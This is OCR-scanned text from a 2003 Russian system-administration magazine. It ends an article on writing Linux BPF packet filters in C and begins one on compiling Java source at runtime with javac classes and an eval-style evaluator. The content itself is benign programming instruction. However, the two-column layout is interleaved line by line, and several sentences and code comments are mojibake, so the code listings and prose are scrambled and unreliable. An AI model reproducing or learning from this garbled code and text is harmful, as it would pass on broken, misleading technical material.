примере условия следующие: обрабатываться будут паке-
BPF_JMP+BPF_JA pc += k ты IP-протокола, адрес отправителя – 192.168.1.2, транспор-
тный протокол – TCP, порт источника – 23.
Безусловный переход по смещению, заданному 32-раз- Алгоритм реализации следующий:
рядным значением k.  определить необходимые переменные и заголовочные
файлы;
BPF_JMP+BPF_JGT+BPF_K pc += ( A > k ) ? jt : jf  составить программу фильтрации в кодах языка BPF;
 привязать полученный фильтр к сокету.
Сравнение значений аккумулятора и константы k. Ус-
ловный переход по смещению, заданному в поле jt при Переменные и заголовочные файлы
выполнении условия A > k. Нам необходим один заголовочный файл:

BPF_JMP+BPF_JGE+BPF_K pc += ( A >= k ) ? jt : jf # include <linux/filter.h>


BPF_JMP+BPF_JEQ+BPF_K pc += ( A == k ) ? jt : jf
BPF_JMP+BPF_JSET+BPF_K pc += ( A & k ) ? jt : jf
BPF_JMP+BPF_JGT+BPF_X pc += ( A > X ) ? jt : jf и структура:

Сравнение значений аккумулятора и индексного реги- struct sock_fprog *Filter;


стра. Условный переход по смещению, заданному в поле
jt при выполнении условия A > X. – непосредственно сам подключаемый фильтр.

BPF_JMP+BPF_JGE+BPF_X
BPF_JMP+BPF_JEQ+BPF_K
pc += ( A >= X ) ? jt : jf
pc += ( A == X ) ? jt : jf
Программа фильтрации
BPF_JMP+BPF_JSET+BPF_K pc += ( A & X ) ? jt : jf Программа фильтрации представляет собой массив струк-
тур struct sock_filter. При ее составлении воспользуемся
макросами BPF_STMP и BPF_JUMP, которые определе-
BPF_RET ны в заголовочном файле <linux/filter>.
Программа фильтрации выполняется для каждого пакета,
поступающего на сетевой интерфейс. Результатом работы struct sock_filter BPF_code [ ] = {
фильтра является целое положительное число, показыва- BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),
ющее, сколько байт в принятом пакете будет доступно для
дальнейшей обработки приложению пользователя. Если В принятом Ethernet-кадре по смещению, равному 12 байт
принятый пакет не удовлетворяет условиям фильтрации, (6 байт MAC-адреса источника + 6 байт MAC-адреса назна-
он отбрасывается и программой фильтрации возвращает- чения), находится 2-х байтовый идентификатор протокола
ся нулевое значение. Инструкция BPF_RET завершает вы- сетевого уровня. Эти 2 байта мы загружаем в аккумулятор.
полнение программы фильтрации и возвращает число байт
в пакете, доступных для дальнейшей обработки. BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETH_P_IP, 0, 8),

BPF_RET+BPF_A
Проверяем соответствие значения, загруженного в ак-
кумулятор, идентификатору IP-протокола (ETH_P_IP =
Возвращаемый результат находится в аккумуляторе. 0x800). При выполнении условия переходим к следующей
инструкции (jt = 0). В противном случае смещаемся на 8
BPF_RET+BPF_K
структур вниз (jf = 8) и выходим из программы фильтра-
ции с возвратом нулевого значения. Это значит, что дан-
Результат возвращается в виде константы. ный пакет отброшен.

BPF_MISC BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 26),


Инструкция BPF_MISC служит для копирования значения
индексного регистра в аккумулятор и наоборот. Загружаем в аккумулятор 4-байтовое значение, нахо-
дящееся по смещению 26 в принятом пакете. Это значе-
BPF_MISC+BPF_TAX X <- A ние соответствует IP-адресу источника.
BPF_MISC+BPF_TXA A <- X
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0xC0A80102, 0, 6),

Пример реализации пакетного фильтра Проверяем соответствие значения, загруженного в ак-


Здесь мы с помощью фильтра модифицируем исходный код кумулятор, IP-адресу 192.168.1.2. Значение 0xC0A80102 –
анализатора сетевого трафика (см. «Анализатор сетевого это шестнадцатиричное представление данного IP-адреса.
трафика», «Системный администратор» №1, октябрь 2002г.). Однако в сетевом формате адрес 192.168.1.2 выглядит как

62
программирование
0x201A8C0. Это связано с порядком передачи в сети – пе- рес. Для хранения введенного IP-адреса нам потребуют-
редача начинается с бита младшего разряда. Если адрес ся дополнительные переменные:
не совпадает – выходим из программы фильтрации.
union {
BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23), u_long net;
char point [4];
} addr;
Загружаем в аккумулятор 1 байт, находящийся по сме-
щению 23. В этом поле содержится идентификатор про- В поле net объединения addr будет храниться введен-
токола транспортного уровня. Для протокола TCP это зна- ный IP-адрес в сетевом формате. Заполним поле net:
чение равно 6.
addr. net = inet_addr (argv [1]);
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 0, 4),
Теперь необходимо зеркально перевернуть значение
Проверяем соответствие транспортного протокола. IP-адреса в сетевом формате. Сделаем это, поменяв ме-
Далее нам необходимо проверить поле «Порт источ- стами 0-й и 3-й байты, 1-й и 2-й:
ника» на соответствие значению 23. Для этого необходи-
мо сперва установить длину заголовка IP-пакета. addr. point [0] ^= addr. point [3];
addr. point [3] ^= addr. point [1];
addr. point [0] ^= addr. point [3];
BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14), addr. point [1] ^= addr. point [2];
addr. point [2] ^= addr. point [1];
addr. point [1] ^= addr. point [2];
В индексный регистр будет загружено значение дли-
ны заголовка IP-пакета. По смещению, равному сумме Заполним необходимое поле в массиве BPF_code:
длин Ethernet-заголовка и IP-заголовка, будет находиться
поле «Порт источника». Загрузим его в аккумулятор: BPF_code [3]. k = addr. net;

BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14), Таким образом, если мы введем адрес 192.168.1.2, поле


BPF_code [3]. k будет содержать значение 0xC0A80102. Для
и проверим полученное значение: контроля можно отобразить это значение:

BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0x17, 0, 1), printf( « %x \n «, BPF_code[3]. k );

Выходим из программы фильтрации. После этого подключаем фильтр к сокету и работаем.

BPF_STMT(BPF_RET+BPF_K,1500),
BPF_STMT(BPF_RET+BPF_K,0),
Использование tcpdump
}; Для упрощения задачи составления программы фильтра-
Çàïîëíèì ïîëÿ ñòðóêòóðû struct sock_fprog *Filter : ции можно воспользоваться утилитой tcpdump. Давайте
Filter -> len = 11; - çíà÷åíèå ïîëÿ len ðàâíî
÷èñëó ñòðóêòóð â ìàññèâå BPF_code [ ] рассмотрим, как это делается. Предположим, нам необ-
Filter -> filter = BPF_code; - óêàçàòåëü íà ìàññèâ ñòðóê- ходим пакетный фильтр, принимающий IP-пакеты, адре-
òóð BPF_code [ ]
сатом или отправителем которых является хост с IP-адре-
Ïðèâÿçêà ôèëüòðà ê ñîêåòó âûïîëíÿåòñÿ ïðè ïîìîùè âûçîâà сом 192.168.9.1. Вводим следующую команду:
setsockopt ñëåäóþùèì îáðàçîì:
if ( setsockopt ( e0_r, SOL_SOCKET, SO_ATTACH_FILTER, Filter, tcpdump -dd host 192.168.9.1
sizeof (*Filter) ) < 0 ) {
perror ( "SO_ATTACH_FILTER" );
close ( e0_r ); На консоли будет отображен результат работы программы:
exit (1);
}
{ 0x28, 0, 0, 0x0000000c },
В приведенном примере есть один недостаток: исходные { 0x15, 0, 4, 0x00000800 },
{ 0x20, 0, 0, 0x0000001a },
данные, такие как IP-адрес, номер порта, вводятся в текст { 0x15, 8, 0, 0xc0a80901 },
программы. При необходимости изменения условий фильт- { 0x20, 0, 0, 0x0000001e },
{ 0x15, 6, 7, 0xc0a80901 },
рации придется каждый раз вносить изменения в исходный { 0x15, 1, 0, 0x00000806 },
текст и перекомпилировать программу. Модифицируем про- { 0x15, 0, 5, 0x00008035 },
{ 0x20, 0, 0, 0x0000001c },
грамму фильтрации для возможности гибкой настройки { 0x15, 2, 0, 0xc0a80901 },
фильтра на новое условие, например, на новый IP-адрес. IP- { 0x20, 0, 0, 0x00000026 },
{ 0x15, 0, 1, 0xc0a80901 },
адрес будем вводить в командной строке (аргумент argv [1]). { 0x6, 0, 0, 0x00000044 },
В массиве BPF_code третий элемент перепишем в виде: { 0x6, 0, 0, 0x00000000 },

BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 4), Это и есть искомая программа фильтрации.


Вот в принципе все, о чем я хотел рассказать. Обо всех
В этой инструкции мы обнуляем поле, содержащее IP-ад- замечаниях и предложениях пишите на ubob@mail.ru.

№2(3), февраль 2003 63


JAVA:
МАГИЯ ОТРАЖЕНИЙ

Часть III. КОМПИЛЯЦИЯ JAVA СРЕДСТВАМИ JAVA

ДАНИИЛ АЛИЕВСКИЙ
программирование
В предыдущих частях статьи мы познакомились с техноло- supplemental license terms», пункт 3 и файл jre/
гией отражений (Java Reflection). Это мощнейший механизм README.txt, раздел «Redistribution of Java 2 SDK Files».
Java, позволяющий делать с .class-файлами практически все Но самое приятное заключается в том, что в действи-
что угодно – загружать из произвольных файлов, анализи- тельности компилятор фирмы Sun реализован на том же
ровать набор членов класса, обращаться к этим членам, при языке Java – в виде класса com.sun.tools.javac.Main и па-
необходимости обходя стандартную защиту «private»/ кета вспомогательных классов, размещенных в архиве
«protected». При желании можно даже подменить стандарт- tools.jar. Утилита javac является всего-навсего «оболоч-
ный механизм загрузки Java-классов и взять этот процесс кой», стартующей виртуальную машину Java и запускаю-
под полный контроль, например, разрешить перезагружать щей указанный класс. Архив tools.jar, как и саму утилиту
изменившиеся версии .class-файлов без полной перезагруз- javac, разрешается свободно распространять (в дополне-
ки Java-машины (эта техника подробно рассматривалась в ние к стандартному JRE) совместно с Java-приложением.
части II, см. №1(2) журнала «Системный администратор»). Это означает, что для компиляции Java-класса из Java-
В этой части статьи мы научимся компилировать Java- приложения нет необходимости обращаться к внешней
код в .class-файлы. Совместно с технологией отражений утилите javac средствами операционной системы (мето-
это позволит в процессе исполнения программы «на лету» дами Runtime.getRuntime().exec(...)). Можно напрямую вос-
создавать новые классы в виде исходного текста, компи- пользоваться классом com.sun.tools.javac.Main.
лировать их, загружать и использовать. Столь мощные Использование класса com.sun.tools.javac.Main пре-
возможности обычно присущи лишь чисто интерпретиру- дельно просто. Вот полный интерфейс этого класса (кон-
емым, сравнительно медленным языкам типа JavaScript структор и public-методы):
или Perl или Ассемблеру (точнее, машинному языку).
Всюду далее, если не оговорено обратное, мы будем // Constructors
подразумевать последнюю (на момент написания статьи) public Main()
версию Java фирмы Sun: Sun Java SDK 1.4. // Methods
public static void main(String[] p0)
public static int compile(String[] p0)
Как скомпилировать Java-файл public static int compile(String[] p0,
с исходным текстом PrintWriter p1)
Решение, вообще говоря, совершенно банально – выз-
вать стандартный компилятор javac! Для вызова компилятора нужно обратиться к к одно-
На первый взгляд подобное решение кажется неизящ- му из двух его static-методов compile.
ным, сопряженным с массой проблем. Например, компи- В качестве аргумента p0 нужно передать массив
лятор придется поставлять всем вашим пользователям. строк-параметров, которые обычно передаются утили-
Другой пример – интеграция компилятора с вашей систе- те javac, например:
мой: сообщения компилятора должны выдаваться не на
системную консоль, а «внутрь» вызывающей программы new String[] {
для обработки и визуализации в рамках вашего пользо- "-d",
"/ïóòü_ê_ïîäêàòàëîãó",
вательского интерфейса. "myfile.java"
Разработчики Java позаботились о том, чтобы эти про- }
блемы легко решались.
Прежде всего, стандартный компилятор javac входит В качестве аргумента p1 во второй из этих методов
в комплект поставки Sun Java SDK, распространяемого нужно передать поток вывода, который будет использо-
совершенно бесплатно. Правда, здесь есть одна тонкость. ваться для вывода всех сообщений компилятора. Таким
При формировании дистрибутива Java-приложения образом можно «перехватить» все сообщения компиля-
обычно принято включать в этот дистрибутив некий тора и перенаправить их в свой собственный буфер, ко-
фрагмент Java SDK, так называемый JRE (Java2 TM торый впоследствии можно проанализировать или пока-
Runtime Environment) – набор файлов, достаточный для зать пользователю.
запуска Java-приложения. В комплекте Sun Java SDK В качестве результата оба метода возвращают стан-
этот набор оформлен в виде подкаталога jre/. По умол- дартный код возврата утилиты javac (errorlevel в терми-
чанию JRE не содержит компилятора javac (и ряда дру- нах MS-DOS). 0 сигнализирует об успешном завершении,
гих полезных утилит из Java SDK). Включать в дистри- другие значения – о каких-либо ошибках.
бутив полный пакет Java SDK запрещено лицензион- Приведем пример вызова компилятора путем обраще-
ным соглашением фирмы Sun. ния к классу com.sun.tools.javac.Main:
Однако в том же лицензионном соглашении специ-
String[] args= ïàðàìåòðû óòèëèòû javac;
ально оговорено, что компилятор байт-кода javac вме- CharArrayWriter writer= new CharArrayWriter();
сте с необходимым вспомогательным JAR-файлом int result= com.sun.tools.javac.Main.compile(
args,
tools.jar можно включать в дистрибутив в дополнение к new PrintWriter(writer,true));
стандартному JRE, точнее, распространять совместно if (result!=0) {
/* - ïðîèçîøëà êàêàÿ-òî îøèáêà */
с Java-приложением. См. файл jre/license в комплекте àíàëèçèðóåì è, âîçìîæíî, ïîêàçûâàåì
поставки Sun Java SDK 1.4.1, раздел «JavaTM 2 runtime ïîëüçîâàòåëþ ñòðîêó ñîîáùåíèé
êîìïèëÿòîðà writer.toString()
environment (j2re), standard edition, version 1.4.1_x }

№2(3), февраль 2003 65


программирование
Описанное решение очень просто, удобно и эффек- появляющееся при попытке использовать данный класс
тивно. Но у него есть серьезный недостаток. («warning: sun.tools.javac.Main in sun.tools.javac has been
Класс com.sun.tools.javac.Main, как и все классы из паке- deprecated»), можно и проигнорировать. Но фирма Sun
тов com.sun.* и sun.*, является недокументированным. При- почему-то решила добавлять аналогичное предупрежде-
веденное выше описание использования класса опирается ние в любое сообщение, выдаваемое самим компилято-
на здравый смысл и эксперименты, а не на официальную ром sun.tools.javac.Main! Если попытаться использовать
документацию фирмы Sun. Фирма Sun имеет полное право sun.tools.javac.Main для компиляции любого, даже совер-
в очередной версии Java SDK изменить поведение или ин- шенно корректного Java-файла, в любом случае будет вы-
терфейс этого класса или даже вообще исключить его. дано предупреждение «sun.tools.javac.Main has been
Указанная проблема не надумана. deprecated». Чтобы избавиться от него, sun.tools.javac.Main
Действительно, все сказанное выше справедливо лишь придется использовать с ключом «-nowarn», но тогда во-
для версии Sun Java SDK 1.4. В предыдущей версии, Sun обще теряется возможность получать и анализировать
Java SDK 1.3, тот же самый класс com.sun.tools.javac.Main предупреждения компилятора.
имел совершенно другой интерфейс: Во-вторых, в версии Sun Java SDK 1.4 компилятор
sun.tools.javac.Main попросту не всегда адекватно рабо-
// Constructors тает. На простых тестах это трудно обнаружить. Но ког-
public Main()
да я попытался скомпилировать с помощью этого ком-
// Methods пилятора все исходные тексты большого Java-проекта,
public static void main(String[] p0)
public int compile(String[] p0) обнаружилось, что некоторые сложные, но вполне кор-
ректные классы, прекрасно компилируемые «штатными»
Метод compile не был статическим, т.е. нуждался в со- компиляторами и классом com.sun.tools.javac.Main, не
здании экземпляра класса. Также отсутствовала версия компилируются с помощью sun.tools.javac.Main. В част-
метода, позволяющая указать собственный поток для со- ности, компилятор sun.tools.javac.Main «сломался» на не-
общений компилятора. которых нетривиальных случаях перегрузки методов с
В версии Java SDK 1.3 для компиляции исходных тек- аргументами примитивных типов, а также при попытке
стов Java обычно использовался другой класс, объявить метод toString() у некоторого вложенного клас-
sun.tools.javac.Main (расположенный все в том же архиве са. Это очень похоже на внутреннюю ошибку компиля-
tools.jar). Этот класс также позволяет указать свой поток тора, которую фирма Sun не сочла нужным исправлять
для сообщений компилятора. Причем этот класс полнос- в устаревшем наборе классов.
тью сохранил свой интерфейс при переходе от версии SDK Есть также мелкие отличия в самом синтаксисе язы-
1.3 к SDK 1.4. ка Java, понимаемом компиляторами sun.tools.javac.Main
Класс sun.tools.javac.Main имеет нестатический синх- и стандартным com.sun.tools.javac.Main. (Ошибка, о ко-
ронизованный метод compile: торой ранее шла речь, не связана с этими мелкими от-
личиями – там действительно имела место явная ошиб-
public synchronized boolean compile( ка компилятора.) Например, sun.tools.javac.Main разре-
String[] p0) шает импортировать (предложением import) конкретные
классы, расположенные в корневом пакете – т.е. непос-
Поток для сообщений компилятора указывается в ка- редственно в корне одного из каталогов, перечисленных
честве первого параметра конструктора: в путях поиска CLASSPATH. Стандартный компилятор в
современных версиях Java не допускает такого экзоти-
public Main( ческого импорта – все импортируемые классы должны
OutputStream p0,
String p1) лежать внутри какого-либо пакета.
Также можно заметить, что в версии Sun Java SDK 1.4
(не PrintWriter, а более «архаичный» OutputStream). Смысл компилятор sun.tools.javac.Main работает примерно вдвое
второго параметра конструктора я так и не выяснил, но медленнее, чем com.sun.tools.javac.Main.
найденные мной в Интернете примеры использования дан- Все сказанное означает, что использование для ком-
ного класса передавали в качестве p1 строку «javac». пиляции Java-файлов конкретных классов типа
Код возврата утилиты javac возвращается отдельным com.sun.tools.javac.Main или sun.tools.javac.Main – рис-
методом: кованное занятие. Соответствующий код придется за-
ново тестировать при выпуске каждой новой версии
public int getExitStatus() Java SDK и, возможно, в какой-то момент его придется
радикально переписывать.
Факт успешности компиляции можно также узнать по В случае com.sun.tools.javac.Main лично мне риск не
boolean-результату метода compile (false означает неудачу). кажется слишком большим. Похоже, что в этом классе
Но и этот класс, несмотря на сохранение интерфейса, фирма Sun наконец «довела до ума» решения, существо-
в действительности изменил свое поведение при перехо- вавшие в предыдущих версиях Java в этом же классе и в
де от версии SDK 1.3 к SDK 1.4. sun.tools.javac.Main. Трудно представить, чтобы возмож-
Во-первых, он был объявлен как устаревший ности класса com.sun.tools.javac.Main в какой-то версии
(«deprecated»). Конечно, предупреждение компилятора, исчезли или радикально поменялись. Скорее всего, этот

66
программирование
класс либо сохранится, либо превратится в легальный до- Обратите внимание: чтение потоков вывода и ошибок
кументированный класс, например, в пакете java.*, тогда в отдельных параллельных потоках совершенно необходи-
необходимые изменения будут минимальны. мо. Если этого не сделать, то вызов метода waitFor() может
Если необходимо надежное документированное реше- привести к зависанию в случае, когда внешняя программа
ние, то на сегодня единственный доступный вариант – выводит хоть что-нибудь в свои потоки вывода и ошибок.
вызвать внешнюю утилиту javac одним из методов
Runtime.getRuntime().exec(...). Как скомпилировать исходный текст
Для этого, правда, эту утилиту нужно еще найти в фай- Java, заданный в виде строки
ловой системе. Если данная утилита входит в состав дист- Итак, мы научились вызывать компилятор Java. Таким об-
рибутива и инсталлируется вместе с Java-приложением, то разом можно скомпилировать любой Java-файл – доста-
инсталлятор может сам позаботиться о том, чтобы полный точно следовать инструкциям по использованию компи-
путь к утилите javac передавался в Java-программу. Если лятора javac. Но что делать, если у нас нет готового Java-
же приложение дожно работать под управлением «чужо- файла, размещенного где-то в файловой системе? Допу-
го» Java SDK, инсталлируемого пользователем независи- стим, мы располагаем просто исходным текстом Java-про-
мо от приложения, то можно поискать файлы: граммы в виде строки типа String – загруженным, скажем,
 bin/javac.exe (случай Microsoft Windows); из базы данных, или сгенерированным автоматически. Как
 bin/javac (случай Unix/Linux); скомпилировать такой текст?
 bin/sparcv9/javac (случай Solaris SPARC) Очевидно, нужно создать некоторый временный файл с
в каталоге System.getProperty(«java.home») и содержащем расширением .java, записать туда исходный текст, после чего
его каталоге. (Чаще всего System.getProperty(«java.home») вызвать компилятор. Эти действия далеко не так просты,
соответствует подкаталогу jre/ в главном каталоге Sun как кажется на первый взгляд. Рассмотрим это подробнее.
Java SDK. Соответственно, утилита javac расположена в В стандартных библиотеках Java есть средства для со-
подкаталоге bin/ содержащего его каталога.) здания временных файлов – это 2 статических метода
Для получения сообщений компилятора в данном слу- createTempFile класса File, создающие файл с уникальным
чае можно использовать стандартную технику – чтение «случайным» именем. К сожалению, воспользоваться ими
из потоков, возвращаемых методами getInputStream() и в данном случае невозможно. Новый Java-файл, создава-
getErrorStream() объекта Process, полученного в резуль- емый для сохранения заданного исходного Java-кода, не
тате обращения к методу Runtime.getRuntime().exec(...). может иметь произвольное имя – его имя обязательно дол-
Вот как примерно это выглядит: жно совпадать с именем public-класса, объявленного в этом
исходном коде (если, конечно, таковой имеется). Кроме
Process p= Runtime.getRuntime().exec(
ìàññèâ_àðãóìåíòîâ); того, нужен какой-то каталог, куда будут записаны .class-
/* - ïåðâûé ýëåìåíò â ìàññèâå äîëæåí файлы, полученные в результате компиляции.
ñîäåðæàòü ïîëíîå èìÿ ôàéëà óòèëèòû
javac, îñòàëüíûå ýëåìåíòû - Все это означает, что нужна специальная функция, со-
ïàðàìåòðû ýòîé óòèëèòû */ здающая временный подкаталог – так же, как File.create-
final InputStreamReader is= TempFile создает временный файл. Внутри этого подката-
new InputStreamReader(p.getInputStream()); лога можно создать серию вложенных каталогов, соответ-
final InputStreamReader es=
new InputStreamReader(p.getErrorStream()); ствующую пакету, в котором должен располагаться компи-
final StringBuffer out= new StringBuffer(); лируемый класс. Затем в самый внутренний каталог нуж-
final StringBuffer err= new StringBuffer();
но записать Java-файл с исходным текстом, присвоив это-
new Thread() { му файлу имя, соответствующее имени компилируемого
public void run() {
try { класса. Эту же структуру каталогов можно использовать
char[] buf= new char[32768]; для размещения результирующих .class-файлов, передав
int len;
while ((len=is.read(buf,0,buf.length))>=0) { соответствующие инструкции компилятору javac.
out.append(buf,0,len); Написать функцию создания временного каталога не
}
} catch (Exception e) { очень сложно. Достаточно использовать в качестве образ-
e.printStackTrace(); ца реализацию File.createTempFile в исходном тексте клас-
}
} са java.io.File. Основная идея – циклически генерировать
}.start(); более или менее случайные имена подкаталогов внутри
new Thread() { каталога временных файлов операционной системы, для
public void run() { каждого подкаталога пытаться его создать (методом
... (àíàëîãè÷íûé öèêë äëÿ es è err)
} File.mkdir) и выйти из цикла, как только очередная попытка
}.start(); будет удачной (mkdir вернет true). Цикл генерации имен и
int result= p.waitFor(); создания подкаталога нужно синхронизовать относитель-
/* - äîæèäàåìñÿ çàâåðøåíèÿ óòèëèòû javac но какого-либо глобального объекта точно так же, как это
è ïîëó÷àåì åå êîä çàâåðøåíèÿ */
сделано в методе File.createTempFile. Чтобы найти умолча-
if (result!=0) { тельный каталог временных файлов операционной систе-
/* - ïðîèçîøëà êàêàÿ-òî îøèáêà */
àíàëèçèðóåì è, âîçìîæíî, ïîêàçûâàåì мы, можно обратиться к переменной среды:
ïîëüçîâàòåëþ ñîîáùåíèÿ êîìïèëÿòîðà
out è err System.getProperty("java.io.tmpdir")
}

№2(3), февраль 2003 67


программирование
В версии Sun Java SDK 1.4.1 эта переменная является и загруженные классы имеет смысл кэшировать в опера-
документированной (в отличие от Sun Java SDK 1.3). тивной памяти с помощью таблицы HashMap, ставящей
Возникает также проблема автоматического удаления каждому исходному тексту в соответствие результирую-
созданного временного подкаталога при выходе из Java- щий объект Class – загруженный Java-класс. Если нужно
программы. В случае файла эта задача решалась бы ме- скомпилировать исходный текст, идентичный тексту, ко-
тодом deleteOnExit класса File. Но непустые подкаталоги торый когда-то уже компилировался, то в большинстве
этот метод удалять не умеет. Самое простое решение – случаев нет смысла компилировать его повторно – дос-
написать функцию, рекурсивно удаляющую созданный таточно извлечь готовый класс из кэша.
временный каталог вместе со всеми файлами и подката-
логами, и вызвать ее в потоке, зарегистрированном ме- Eval на Java: интерпретатор формул
тодом Runtime.getRuntime().addShutdownHook(...). Теперь мы располагаем чрезвычайно мощным инструмен-
Следующий вопрос, требующий некоторого внимания – том. Мы умеем компилировать произвольные исходные тек-
как правильно записать Java-файл с исходным текстом. Ис- сты Java, заданные в виде строковой переменной, и загру-
ходный текст Java (представленный по условию в виде строки жать получаемые при этом классы. Обычно такую технику
String) может содержать произвольные символы Unicode, а называют самопрограммированием. Эта возможность тра-
компилятор javac обычно используется с ASCII-файлами. диционно присутствует в медленных интерпретируемых
Здесь есть два решения. Во-первых, начиная с версии скриптовых языках типа JavaScript или Perl, но отсутствует
Sun Java SDK 1.4, компилятор javac «понимает» дополни- в высокоэффективных компилируемых языках (к которым
тельный параметр «-encoding». Можно, например, сохра- относится и Java), исключая разве что Ассемблер. Факти-
нить файл в кодировке «UTF-8» и указать такую же коди- чески, мы снабдили язык Java самопрограммированием.
ровку в качестве параметра «-encoding». Чтобы сохранить Но пока что пользоваться этой техникой не очень удоб-
текст в файле с заданной кодировкой, используется но.
объект java.io.Writer, создаваемый вызовом: В скриптовых языках типа JavaScript или Perl самопрог-
раммирование выглядит крайне просто. Например, в
OutputStreamWriter writer= new OutputStreamWriter( JavaScript можно написать так:
new FileOutputStream(file),encoding)
var a= 23;
var b= 45;
Во-вторых, компилятор javac – и в SDK 1.4, и в преды- var formula= "a+b";
дущих версиях – поддерживает специальный способ коди- var result= eval(formula);
рования Unicode-символов. А именно, цепочка символов
вида \uNNNN, где N – шестнадцатеричные цифры, в лю- Оператор eval исполняет переданный ему фрагмент
бом месте Java-файла воспринимается компилятором как JavaScript-кода так, как если бы он непосредственно
Unicode-символ с кодом NNNN. Можно перед записью Java- был вставлен в общий JavaScript-код вместо самого
файла заменить все символы с кодами ≥128 такими це- оператора eval.
почками и записать полученный «чистый» ASCII-файл. Мы попробуем реализовать аналогичную технику в
После того как исходный текст скомпилирован, если рамках Java.
компилятор сообщил об отсутствии ошибок (нулевой код Java – не JavaScript, и в точно таком же виде реализо-
возврата) и если параметры компилятора были заданы вать функцию eval здесь вряд ли возможно. В качестве
правильно (точнее, параметр «-d»), можно ожидать, что в ближайшего Java-аналога eval, мы поставим следующую
структуре каталогов появятся все необходимые .class- задачу.
файлы. Сколько их появится, заранее сказать невозмож- Требуется реализовать статический метод некоторо-
но (без полного синтаксического анализа исходного кода). го класса-библиотеки (допустим, Evaluator), имеющий сле-
Так, каждый анонимный класс породит отдельный .class- дующий интерфейс:
файл. Но, по крайней мере, должен появиться .class-файл,
соответствующий главному public-классу, объявленному public Object eval(
String javaExpression,
в исходном тексте (если, конечно, исходный текст не со- Object context) throws Exception
стоял из описаний одного или нескольких не-public клас-
сов). В качестве последней «страховки» имеет смысл про- В качестве javaExpression передается произвольное вы-
верить существование этого .class-файла – его отсутствие ражение Java, например то же «a+b». В качестве context
говорит о неверных настройках компилятора. передается объект, предоставляющий «пространство
Затем остается только загрузить сгенерированный .class- имен». Это значит, что в выражении javaExpression долж-
файл. Для этого нужен собственный загрузчик классов – на быть возможность без дополнительных уточнений об-
наследник ClassLoader, умеющий загружать классы из не- ращаться ко всем public- и, может быть, protected-членам
стандартного каталога (в нашем случае из временного ка- объекта context. Так, в случае формулы «a+b» объект context
талога, созданного внутри каталога временных файлов опе- должен содержать числовые (или строчные) поля a и b. В
рационной системы). Эта задача подробно рассматривалась своем результате eval возвращает объект Java, получае-
во второй части статьи: «ClassLoader – скрытые возможнос- мый в результате интерпретации выражения javaExpression.
ти». Здесь мы не будем на ней останавливаться. Приведенный выше пример на JavaScript для Java выг-
В завершение стоит добавить, что скомпилированные лядел бы примерно так:

68
программирование
public static class Context { return returnValue;
public int a,b; }
} }
...
public void ÍåêîòîðûéÌåòîä() { Вместо NNN подставляется некоторый уникальный ин-
...
Context c= new Context(); декс – свой для каждого текста формулы. (Если разные
c.a= 23; формулы будут интерпретироваться с помощью разных
c.b= 45;
String formula= "new Integer(a+b)"; классов, то эти классы можно будет кэшировать и не ком-
Integer result= (Integer)Evaluator.eval(formula,c); пилировать повторно – смотри о кэшировании в конце пре-
...
} дыдущего раздела.) Вместо «имя_класса_context» подстав-
ляется context.getClass().getName(), вместо «текст_форму-
Язык Java по обыкновению создает затруднения при лы» – значение javaExpression.
попытке работать с примитивными типами на общих ос- Тип результата int метода ___performEval и тип перемен-
нованиях – их приходится заменять соответствующими ной returnValue соответствуют варианту метода evalInt. Дру-
классами-оболочками. Специально для упрощения рабо- гие варианты – eval, evalDouble и прочие – должны исполь-
ты с примитивными типами имеет смысл дополнить ос- зовать другой тип (соответственно Object, double, и т. д.).
новной метод eval версиями evalInt, evalLong, evalFloat, Имя «c» аргумента ___performEval – это имя, под ко-
evaDouble, evalBoolean, возвращающими результат соот- торым объект context будет доступен внутри формулы. Оно
ветствующего примитивного типа. Тогда последние 2 стро- может быть дополнительным аргументом методов eval,
ки примера выглядели бы проще: evalInt, ...
Компилируем полученный текст класса и загружаем
... скомпилированный класс, как описано в предыдущих раз-
String formula= "a+b";
int result= Evaluator.evalInt(formula,c); делах. Затем средствами отражений вызываем его ста-
... тический метод ___performEval, передавая ему в качестве
аргумента наш объект context, и возвращаем полученный
Наконец, если считать, что наш пример является час- результат. Задача решена.
тью реализации нестатического метода некоторого клас- Дополнительная переменная returnValue позволяет пе-
са, то пример можно было бы упростить еще больше: редавать в качестве формулы javaExpression фрагменты
кода, состоящие более чем из одного оператора Java. В
public class ÍåêîòîðûéÊëàññ { этом случае по умолчанию результатом вызова eval ока-
...
public int a,b; жется результат первого оператора, но всегда можно бу-
public void ÍåêîòîðûéÌåòîä() { дет в последнем операторе написать что-нибудь вроде
...
a= 23;
b= 45; returnValue= ðåçóëüòàò_íàøèõ_âû÷èñëåíèé;
String formula= "a+b";
int result= Evaluator.evalInt(formula,this);
... и тем самым вернуть другой результат.
}
} Приведенное решение, разумеется, неизящно. В фор-
муле приходится ссылаться на члены класса-контекста че-
Это практически так же удобно, как и eval в скрипто- рез громоздкую запись типа «c.a». Попробуем избавить-
вых языках. ся от явной ссылки «c.». Язык Java разрешает ссылаться
Как решить поставленную задачу – реализовать опи- непосредственно, без дополнительных уточнений, на чле-
санные методы eval, evalInt и прочие? ны текущего класса, его предков, члены класса, по отно-
Существует достаточно элементарное частичное ре- шению к которому текущий является вложенным, и чле-
шение. ны предков этого класса. Если класс, которому принад-
Потребуем, чтобы все обращения к членам объекта лежит метод ___performEval, унаследовать от класса
context в формуле javaExpression производились не напря- context.getClass().getName() или вложить в другой класс,
мую, а через некоторую дополнительную переменную – унаследованный от context.get-Class().getName(), то к чле-
ссылку на объект context. Формула в этом случае приобре- нам этого предка можно будет обращаться из нашей фор-
тает примерно такой вид: «c.a+c.b» (имя ссылки «c» могло мулы непосредственно. Метод ___performEval, разумеет-
бы быть дополнительным аргументом метода eval). ся, нужно будет сделать нестатическим.
В этом варианте задачу решить легко. Конструируем Таким способом формулу типа «a+b» скомпилировать
«на лету» текст Java-класса: удастся – синтаксически все будет соблюдено. Но как до-
биться, чтобы a и b ссылались именно на члены данного
import java.io.*; экземпляра context, переданного в качестве аргумента в
import java.util.*;
